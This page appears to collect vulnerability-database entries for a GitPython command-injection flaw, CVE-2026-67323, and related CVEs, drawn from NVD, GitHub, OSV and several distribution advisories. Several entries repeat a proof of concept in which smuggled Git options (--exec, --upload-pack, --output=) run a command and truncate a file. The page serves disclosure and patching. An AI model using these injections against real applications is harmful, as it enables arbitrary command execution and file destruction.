Every CVE Search/ Get API key

CVE-2026-67323

GitPython before 3.1.51 Command Injection via unguarded Git options

8.6 HighFix available

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

Attack profile

How easy it is to exploit

Attack vector
Local
Complexity
Low
Privileges needed
None
User interaction
None

What an attacker can affect

Confidentiality
High
Integrity
High
Availability
High

Exploit likelihood

1.25%Up 0.2 points since Aug 2, 2026
90%50%10%1%

What each source reports

CVE List Score used 8.6

GitPython before 3.1.51 Command Injection via unguarded Git options

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

Record
CVE-2026-67323
CVSS 4.0
8.6 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
EUVDEUVD-2026-51805 8.6

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

Record
EUVD-2026-51805
CVSS 4.0
8.6 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Updated
2026-11-02
GitHub AdvisoriesGHSA-4vpg-pfj8-m33q 8.6

Duplicate Advisory: GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-956x-8gvw-wg5v. This link is maintained to preserve external references.

Original Description

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

Record
GHSA-4vpg-pfj8-m33q
CVSS 4.0
8.6 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
GitHub AdvisoriesGHSA-956x-8gvw-wg5v 8.4

GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples

Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after

PoC

Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
  1. exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
Record
GHSA-956x-8gvw-wg5v
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77, CWE-88
Updated
2026-11-02
NVD 8.6

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

Record
CVE-2026-67323
CVSS 4.0
8.6 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSV 8.6

GitPython before 3.1.51 Command Injection via unguarded Git options

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

Record
CVE-2026-67323
CVSS 4.0
8.6 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Weakness
CWE-77
Updated
2026-11-02
Show 21 moreShow less
OSVDEBIAN-CVE-2026-67323 8.6

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

Record
DEBIAN-CVE-2026-67323
CVSS 4.0
8.6 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVGHSA-4vpg-pfj8-m33q 8.6

Duplicate Advisory: GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

Duplicate Advisory

This advisory has been withdrawn because it is a duplicate of GHSA-956x-8gvw-wg5v. This link is maintained to preserve external references.

Original Description

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

Record
GHSA-4vpg-pfj8-m33q
CVSS 4.0
8.6 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77
Updated
2026-11-02
OSVGHSA-956x-8gvw-wg5v 8.4

GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples

Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after

PoC

Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
  1. exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
Record
GHSA-956x-8gvw-wg5v
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Weakness
CWE-77, CWE-88
Updated
2026-11-02
OSVOESA-2026-3249 9.3

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)

GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)

GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)

Record
OESA-2026-3249
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVOESA-2026-3250 9.3

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)

GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)

GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)

Record
OESA-2026-3250
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVOESA-2026-3251 9.3

python-GitPython security update

GitPython is a python library used to interact with git repositories, high-level like git-porcelain, or low-level like git-plumbing.

Security Fix(es):

GitPython before 3.1.52 is vulnerable to environment-variable exfiltration in Repo.clone_from(). The caller-supplied remote URL is passed through Git.polish_url(), which on non-Cygwin platforms calls os.path.expandvars() on the URL before invoking git clone. An attacker who controls the clone URL can embed $NAME or ${NAME} tokens that are expanded to the values of the hosting process's environment variables (e.g., AWS_SECRET_ACCESS_KEY or GITHUB_TOKEN). The resulting URL, now containing the secret, is transmitted over the network to an attacker-controlled host during the clone attempt, disclosing the secret.(CVE-2026-67322)

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.(CVE-2026-67323)

GitPython 3.1.50 fails to recognize joined short-option forms such as -u<value> (the short form of --upload-pack=<value>) when enforcing its default unsafe-option gate. When an application passes attacker-influenced clone options into Repo.clone_from(..., multi_options=..., allow_unsafe_options=False), an attacker can supply -u<helper> to bypass the gate that blocks --upload-pack/-u, causing Git to execute the specified helper command during clone. Fixed in 3.1.51.(CVE-2026-67324)

GitPython before 3.1.51 contains an incomplete command injection blocklist that fails to account for git's long-option prefix abbreviation feature. Attackers can bypass the unsafe options guard by using abbreviated option names like upload_p instead of upload_pack, which git resolves to dangerous options and executes arbitrary commands.(CVE-2026-67325)

GitPython before 3.1.50 fails to validate newline characters in the section parameter of config_writer(), allowing attackers to inject arbitrary section headers into .git/config. Attackers can inject newlines to create a forged [core] section with hooksPath pointing to attacker-controlled directories, achieving remote code execution when git hooks are triggered.(CVE-2026-67326)

Record
OESA-2026-3251
CVSS 4.0
9.3 CriticalCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X
Updated
2026-11-02
OSVPYSEC-2026-3839 8.4

GitPython: command injection via unguarded Git options in `Repo.archive()`, `git.ls_remote()`, and arbitrary file overwrite via `Repo.iter_commits()` / `Repo.blame()`

Summary

GitPython already know that --upload-pack / --exec are command-exec vectors, they are denylist in git/remote.py:535 and check by Git.check_unsafe_options() (git/cmd.py:963), the thing is this check him he is only call from fetch, pull, push and clone_from, everything else who build a git argv from caller values just go through, no check, three examples

Code analysis

Repo.archive (git/repo/base.py:1623) do self.git.archive("--", treeish, *path, **kwargs), the treeish is after the --, but the kwargs get dashify by transform_kwarg (git/cmd.py:1487) and they land before it, so {"remote": ".", "exec": "<cmd>"} give git archive --remote=. --exec=<cmd> -- <rev>, the --remote spawn the upload-archive helper and --exec choose which binary that is, done, default git config, no protocol.ext.allow needed, and archive already document caller kwargs (format, prefix, path) so pass a dict is normal usage

repo.git.ls_remote(url, upload_pack="<cmd>"), same builder, same result, it's exactly the kwarg gap that CVE-2026-42215 close for fetch/pull/push/clone_from, except the dynamic repo.git.<anything>(**user_dict) surface him he never got the fix

Repo.iter_commits / Repo.blame (git/objects/commit.py:348, git/repo/base.py:1199) put the rev before the --, no leading-dash check, a "branch name" like --output=/etc/whatever become git rev-list --output=... --, and git he open and truncate that file before he even validate the revision, the file is gone even if the command error right after

PoC

Released 3.1.50, git 2.51.0, stock config (git config --get protocol.ext.allow returns nothing here).

pip install GitPython   # 3.1.50

Common setup for the three:

import io, os, tempfile, subprocess, git
d = tempfile.mkdtemp()
subprocess.run(['git','init','-q',d], check=True)
subprocess.run(['git','-C',d,'-c','[email protected]','-c','user.name=a',
                'commit','-q','--allow-empty','-m','init'], check=True)
repo = git.Repo(d)
tmp = tempfile.gettempdir()
  1. exec via archive (a service exports a repo and forwards the user's options dict):
m = os.path.join(tmp, 'gp_archive_check')
try: repo.archive(io.BytesIO(), **{'remote': '.', 'exec': 'touch ' + m})
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. exec via ls_remote:
m = os.path.join(tmp, 'gp_lsremote_check')
try: repo.git.ls_remote('.', upload_pack='touch ' + m + ';')
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] marker present:', os.path.exists(m))
[*] Cmd('git') failed due to: exit code(128)
[+] marker present: True
  1. file clobber via a rev that looks like a ref:
v = os.path.join(tmp, 'release_notes.txt')
open(v,'w').write('do not delete\n')
print('[*] before:', repr(open(v).read()))
try: list(repo.iter_commits('--output=' + v))
except git.exc.GitCommandError as e: print('[*]', str(e).splitlines()[0][:55])
print('[+] after :', repr(open(v).read()), '<- truncated')
[*] before: 'do not delete\n'
[*] Cmd('git') failed due to: exit code(129)
[+] after : '' <- truncated
Record
PYSEC-2026-3839
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:44416 8.8

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:44416
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:45785 8.8

Red Hat Security Advisory: Red Hat Hardened Images RPMs Security Update

Record
RHSA-2026:45785
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:45940 8.8

Red Hat Security Advisory: Red Hat Hardened Images RPMs bug fix and enhancement update

Record
RHSA-2026:45940
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:59135 8.8

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

Record
RHSA-2026:59135
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:59136 8.8

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

Record
RHSA-2026:59136
CVSS 3.1
8.8 HighCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:71113 9.9

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Product Security and Bug Fix Update

Record
RHSA-2026:71113
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVRHSA-2026:71114 9.9

Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.5 Product Security and Bug Fix Update

Record
RHSA-2026:71114
CVSS 3.1
9.9 CriticalCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
Updated
2026-11-02
OSVUBUNTU-CVE-2026-67323 8.6

GitPython before 3.1.51 fails to guard against dangerous Git options passed as keyword arguments in Repo.archive() and git.ls_remote(), allowing command injection via options such as --exec/--upload-pack (leading to arbitrary command execution). Additionally, Repo.iter_commits() and Repo.blame() do not check for leading-dash revision arguments, so a revision like --output=<path> can cause Git to open and truncate an arbitrary file. Exploitation requires an application that passes attacker-controlled arguments to these methods.

Record
UBUNTU-CVE-2026-67323
CVSS 4.0
8.6 HighCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
CVSS 3.1
8.4 HighCVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Updated
2026-11-02
OSVCLSA-2026-1787718591 No score

TuxCare security update for gitpython (11 CVEs)

TuxCare rebuilt gitpython to address 11 CVEs. Fixed in 3.1.31.post10+tuxcare.

Record
CLSA-2026-1787718591
Updated
2026-11-02
OSVopenSUSE-SU-2026:21874-1 No score

Security update for python-GitPython

This update for python-GitPython fixes the following issues:

  • CVE-2026-67322: environment-variable exfiltration in Repo.clone_from() URL via os.path.expandvars() (bsc#1273357).
  • CVE-2026-67323: unguarded Git options passed as keyword arguments in Repo.archive() and git.ls_remote() allow for command injection (bsc#1273358).
  • CVE-2026-67325: incomplete command injection blocklist fails to account for git's long-option prefix abbreviation feature and allows for bypass (bsc#1273359).
  • CVE-2026-67326: failure to validate newline characters in the section parameter of config_writer() can lead to RCE via core.hooksPath (bsc#1273364).
  • CVE-2026-69097: failure to properly escape section names in Git config files allows for injection of arbitrary configuration directives through malicious submodule names and can lead to RCE (bsc#1273414).
  • CVE-2026-73619: incomplete denylist in the unsafe_git_archive_options guard that omits --add-file and --add- virtual-file options can lead to arbitrary file reads (bsc#1275755).
  • CVE-2026-73620: failure to guard Git option forwarding in IndexFile.checkout() and TagReference.create() can lead to arbitrary file reads and writes (bsc#1275756).
  • CVE-2026-73621: argument injection in the Commit.count() method allows for destruction/blanking of arbitrary files (bsc#1275757).
  • CVE-2026-73622: failure to disable environment variable expansion in Remote.create() and Submodule.add() URL handling allows for secret exfiltration via URLs containing variable references (bsc#1275751).
  • CVE-2026-73623: incomplete denylist in unsafe_git_clone_options that omits --template allows for arbitrary command execution (bsc#1275752).
  • CVE-2026-73624: Diffable.diff method fails to validate git options passed through kwargs, which can lead to arbitrary file writes (bsc#1275753).
  • CVE-2026-73625: check_unsafe_options guard bypass via smuggling of git options inside single-character kwarg values can lead to arbitrary code execution (bsc#1275754).
  • CVE-2026-76217: failure to validate options passed to git rm and git checkout commands in IndexFile.remove() and Head.checkout() can lead to arbitrary file reads (bsc#1275745).
  • CVE-2026-76218: unguarded git option forwarding in Repo.init allows for arbitrary command execution (bsc#1275746).
  • CVE-2026-76219: unguarded git read-tree option forwarding in IndexFile.from_tree/reset/merge_tree can lead to arbitrary file overwrites (bsc#1275747).
  • CVE-2026-76220: check_unsafe_options guard can be bypassed by combining a single-character kwarg with split_single_char_options=False, which can lead to arbitrary OS command injection (bsc#1275748).
  • CVE-2026-76221: config-name injection in the option-name validator can lead to remote code execution (bsc#1275749).
  • CVE-2026-76222: failure to validate submodule names from .gitmodules files allows creation of Git repositories at arbitrary filesystem paths outside the intended clone directory (bsc#1275750).
  • CVE-2026-78675: failure to disable merge_includes when parsing .gitmodules can lead to discloseure of local file contents when arbitrary file paths are included via [include] directives (bsc#1276434).
  • CVE-2026-78676: failure to safely re-serialize multi-line git-config values during write operations can corrupt dormant quoted values into live injected directives (bsc#1276433).
  • CVE-2026-78677: omission of --separate-git-dir from unsafe_git_clone_options allows for creation of arbitrary git directories outside the intended clone destination (bsc#1276432).
  • CVE-2026-78678: incomplete denylist in the unsafe_git_revision_options guard that omits --contents and -S options allows for reading of arbitrary files when these options to are passed to Repo.blame() (bsc#1276431).
  • CVE-2026-78679: positional reference parameter can bypass an unsafe option guard and allows for arbitrary file read via…
Record
openSUSE-SU-2026:21874-1
Updated
2026-11-02
OSVROOT-APP-PYPI-CVE-2026-67323 No score

CVE-2026-67323 in GitPython - Patched by Root

Root has patched CVE-2026-67323 in the GitPython package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-CVE-2026-67323
Updated
2026-11-02
OSVROOT-APP-PYPI-GHSA-4vpg-pfj8-m33q No score

GHSA-4vpg-pfj8-m33q in GitPython - Patched by Root

Root has patched GHSA-4vpg-pfj8-m33q in the GitPython package for Root:PyPI. Multiple fixed versions available.

Record
ROOT-APP-PYPI-GHSA-4vpg-pfj8-m33q
Updated
